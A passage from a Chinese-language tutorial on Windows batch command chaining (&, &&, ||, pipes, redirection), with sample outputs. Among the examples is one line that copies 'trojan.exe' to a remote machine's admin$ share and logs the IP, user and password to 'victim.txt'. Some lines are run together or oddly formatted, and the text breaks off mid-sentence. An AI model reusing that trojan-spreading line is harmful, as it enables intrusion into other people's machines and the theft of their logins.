1.&
Usage:第一條命令 & 第二條命令 [& 第三條命令...]
用這種方法可以同時執行多條命令,而不管命令是否執行成功
Sample:
C:/>dir z: & dir c:/Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:/Ex4rch
2020-03-13 23:51 .
2020-03-13 23:51 ..
2020-03-13 23:51 14 sometips.gif
2.&&
Usage:第一條命令 && 第二條命令 [&& 第三條命令...]
用這種方法可以同時執行多條命令,當碰到執行出錯的命令后將不執行后面的命令,如果一直沒有出錯則
一直執行完所有命令;
Sample:
C:/>dir z: && dir c:/Ex4rch
The system cannot find the path specified.
C:/>dir c:/Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:/Ex4rch
2002-05-14 23:55 .
2002-05-14 23:55 ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.
在做備份的時候可能會用到這種命令會比較簡單,如:
dir file&://192.168.0.1/database/backup.mdb && copy file&://192.168.0.1/database/backup.mdb
E:/backup
如果遠程服務器上存在backup.mdb文件,就執行copy命令,若不存在該文件則不執行copy命令。這種用法
可以替換IF exist了.
3.||
Usage:第一條命令 || 第二條命令 [|| 第三條命令...]
用這種方法可以同時執行多條命令,當碰到執行正確的命令后將不執行后面的命令,如果沒有出現正確的
命令則一直執行完所有命令;
Sample:
C:/Ex4rch>dir sometips.gif ││ del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C:/Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
組合命令使用的例子:
sample:
@copy trojan.exe //%1/admin$/system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3
>>victim.txt
管道命令的使用
1.|管道命令
Usage:第一條命令 | 第二條命令 [| 第三條命令...]
將第一條命令的結果作為第二條命令的參數來使用,記得在unix中這種方式很常見。
time /t>>D://IP.lognetstat -n -p tcp|find ":3389">>D://IP.logstart Explorer
看出來了么?用于終端服務允許我們為用戶自定義起始的程序,來實現讓用戶運行下面這個bat,以獲得登錄用戶的IP。
2.>,>>輸出重定向命令
將一條命令或某個程序輸出結果的重定向到特定文件中, > 與 >>的區別在于,>會清除調原有文件中的內
新聞熱點
疑難解答